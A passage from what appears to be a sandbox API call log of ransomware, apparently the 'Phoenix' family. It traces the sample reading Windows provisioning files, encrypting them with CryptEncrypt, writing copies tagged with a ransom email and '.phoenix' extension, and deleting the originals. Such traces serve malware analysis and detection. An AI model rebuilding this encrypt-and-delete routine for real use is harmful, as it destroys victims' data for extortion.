	[0247.191] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\298__connections_cellular_vodafone nl (netherlands)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.191] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\298__connections_cellular_vodafone nl (netherlands)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.191] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\298__connections_cellular_vodafone nl (netherlands)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0247.191] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.191] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.191] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\298__connections_cellular_vodafone nl (netherlands)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.192] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151200) returned 1
	[0247.192] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.192] ReadFile (in: hFile=0x2d4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x35d, lpOverlapped=0x0) returned 1
	[0247.204] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360, dwBufLen=0x360 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360) returned 1
	[0247.204] WriteFile (in: hFile=0x2b4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x360, lpOverlapped=0x0) returned 1
	[0247.205] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151680) returned 1
	[0247.205] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.205] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0247.205] CryptDestroyKey (hKey=0x151680) returned 1
	[0247.205] WriteFile (in: hFile=0x2b4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0247.205] CryptDestroyKey (hKey=0x151200) returned 1
	[0247.205] CloseHandle (hObject=0x2d4) returned 1
	[0247.206] CloseHandle (hObject=0x2b4) returned 1
	[0247.206] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\298__Connections_Cellular_Vodafone NL (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\298__connections_cellular_vodafone nl (netherlands)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.206] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0247.207] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\2__connections_cellular_djezzy (algeria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.216] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=716) returned 1
	[0247.216] CloseHandle (hObject=0x2f0) returned 1
	[0247.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\2__connections_cellular_djezzy (algeria)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.217] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\2__connections_cellular_djezzy (algeria)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.217] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\2__connections_cellular_djezzy (algeria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.217] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.217] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.217] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\2__connections_cellular_djezzy (algeria)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.219] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151600) returned 1
	[0247.219] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.219] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2cc, lpOverlapped=0x0) returned 1
	[0247.222] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0247.222] WriteFile (in: hFile=0x2b4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0247.223] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151280) returned 1
	[0247.223] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.223] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0247.223] CryptDestroyKey (hKey=0x151280) returned 1
	[0247.223] WriteFile (in: hFile=0x2b4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0247.224] CryptDestroyKey (hKey=0x151600) returned 1
	[0247.224] CloseHandle (hObject=0x2f0) returned 1
	[0247.224] CloseHandle (hObject=0x2b4) returned 1
	[0247.224] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\2__Connections_Cellular_Djezzy (Algeria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\2__connections_cellular_djezzy (algeria)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.225] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0247.225] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\301__connections_cellular_telecom new zealand (new zealand)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.225] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=734) returned 1
	[0247.225] CloseHandle (hObject=0x2b4) returned 1
	[0247.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\301__connections_cellular_telecom new zealand (new zealand)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\301__connections_cellular_telecom new zealand (new zealand)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.226] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\301__connections_cellular_telecom new zealand (new zealand)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.226] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.226] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.226] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\301__connections_cellular_telecom new zealand (new zealand)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.226] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151600) returned 1
	[0247.226] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.264] ReadFile (in: hFile=0x2b4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2de, lpOverlapped=0x0) returned 1
	[0247.265] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0247.265] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0247.266] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1513c0) returned 1
	[0247.266] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.266] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0, dwBufLen=0xd0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0) returned 1
	[0247.266] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0247.266] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x182, lpOverlapped=0x0) returned 1
	[0247.267] CryptDestroyKey (hKey=0x151600) returned 1
	[0247.267] CloseHandle (hObject=0x2b4) returned 1
	[0247.267] CloseHandle (hObject=0x2f0) returned 1
	[0247.267] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\301__Connections_Cellular_Telecom New Zealand (New Zealand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\301__connections_cellular_telecom new zealand (new zealand)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.268] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0247.268] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\304__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.269] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=480) returned 1
	[0247.269] CloseHandle (hObject=0x2f0) returned 1
	[0247.269] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\304__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0247.269] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\304__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.269] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\304__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.269] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.269] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.269] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\304__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.270] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151780) returned 1
	[0247.270] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.270] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1e0, lpOverlapped=0x0) returned 1
	[0247.271] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1f0) returned 1
	[0247.271] WriteFile (in: hFile=0x2b4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1f0, lpOverlapped=0x0) returned 1
	[0247.271] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151200) returned 1
	[0247.271] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.271] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90, dwBufLen=0x90 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90) returned 1
	[0247.272] CryptDestroyKey (hKey=0x151200) returned 1
	[0247.272] WriteFile (in: hFile=0x2b4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x142, lpOverlapped=0x0) returned 1
	[0247.272] CryptDestroyKey (hKey=0x151780) returned 1
	[0247.272] CloseHandle (hObject=0x2f0) returned 1
	[0247.272] CloseHandle (hObject=0x2b4) returned 1
	[0247.272] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\304__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\304__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0247.273] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0247.273] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\305__connections_cellular_claro (nicaragua)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.273] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=765) returned 1
	[0247.273] CloseHandle (hObject=0x2b4) returned 1
	[0247.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\305__connections_cellular_claro (nicaragua)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\305__connections_cellular_claro (nicaragua)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.274] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\305__connections_cellular_claro (nicaragua)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.274] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.274] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
